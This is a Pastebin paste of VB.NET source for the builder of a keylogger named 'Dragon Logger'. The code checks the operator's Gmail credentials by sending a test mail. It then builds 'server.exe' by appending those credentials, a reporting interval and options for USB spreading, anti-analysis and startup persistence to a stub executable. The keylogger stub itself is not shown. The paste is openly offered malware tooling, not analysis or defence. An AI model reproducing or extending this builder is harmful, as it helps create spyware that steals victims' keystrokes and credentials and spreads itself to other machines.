Advertisement
Guest User

Untitled

a guest
Jun 8th, 2017
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.49 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Imports System.IO
  3.  
  4. Public Class Form1
  5.  
  6.     Dim stub, emailUsername, emailPass, emailInterval As String
  7.     Dim usbSpread, antis, startup As Boolean
  8.     Const AwesomeDragon = "adiogudsgadgwet"
  9.  
  10.     Private Sub btnClose_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClose.Click
  11.         Me.Close()
  12.     End Sub
  13.  
  14.     Private Sub btnMinimize_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnMinimize.Click
  15.         Me.WindowState = FormWindowState.Minimized
  16.     End Sub
  17.  
  18.     Private Sub btnTestEmail_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnTestEmail.Click
  19.  
  20.         'User did not input a username
  21.         If txtUserName.Text = "" Then
  22.             MsgBox("Enter an e-mail address!", , "Error!")
  23.             Exit Sub
  24.         End If
  25.         'User did not input a password
  26.         If txtPassword.Text = "" Then
  27.             MsgBox("Enter a password!", , "Error!")
  28.             Exit Sub
  29.         End If
  30.  
  31.         'try to send mail
  32.         Try
  33.             Dim MailInfo As New MailMessage
  34.             MailInfo.Subject = ("Dragon Logger Test")
  35.             MailInfo.To.Add(txtUserName.Text)
  36.             MailInfo.From = New MailAddress(txtUserName.Text)
  37.             MailInfo.Body = ("Testing Email was successful. You can now build the keylogger!")
  38.             Dim SMTP As New SmtpClient("smtp.gmail.com")
  39.             SMTP.Port = 587
  40.             SMTP.EnableSsl = True
  41.             SMTP.Credentials = New Net.NetworkCredential(txtUserName.Text, txtPassword.Text)
  42.             SMTP.Send(MailInfo)
  43.             MsgBox("Message has been sent. Check your Email", , "Success")
  44.         Catch GError As Exception 'error sending
  45.             MsgBox("Email failed. Check your connection and that user name and password are correct", , "Error")
  46.         End Try
  47.     End Sub
  48.  
  49.     Private Sub btnBuild_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnBuild.Click
  50.  
  51.         If txtUserName.Text = "" Then
  52.             MsgBox("Enter an e-mail address.", , "Error")
  53.             Exit Sub
  54.         End If
  55.  
  56.         If txtPassword.Text = "" Then
  57.             MsgBox("Enter a password.", , "Error")
  58.             Exit Sub
  59.         End If
  60.  
  61.         emailUsername = txtUserName.Text
  62.         emailPass = txtPassword.Text
  63.         emailInterval = Convert.ToString(nudInterval.Value * 60000)
  64.  
  65.         If chkAntis.Checked = True Then
  66.             antis = True
  67.         Else
  68.             antis = False
  69.         End If
  70.  
  71.         If chkStartup.Checked = True Then
  72.             startup = True
  73.         Else
  74.             startup = False
  75.         End If
  76.  
  77.         If chkUsbSpread.Checked = True Then
  78.             usbSpread = True
  79.         Else
  80.             usbSpread = False
  81.         End If
  82.  
  83.         FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  84.         stub = Space(LOF(1))
  85.         FileGet(1, stub)
  86.         FileClose(1)
  87.  
  88.         If File.Exists("server.exe") Then
  89.             My.Computer.FileSystem.DeleteFile("server.exe")
  90.         End If
  91.  
  92.         FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  93.         FilePut(1, stub & AwesomeDragon & emailUsername & AwesomeDragon & emailPass & AwesomeDragon & emailInterval & AwesomeDragon & usbSpread & AwesomeDragon & antis & AwesomeDragon & startup)
  94.         FileClose(1)
  95.  
  96.         MsgBox("The server has been built!", , "Success")
  97.  
  98.     End Sub
  99. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement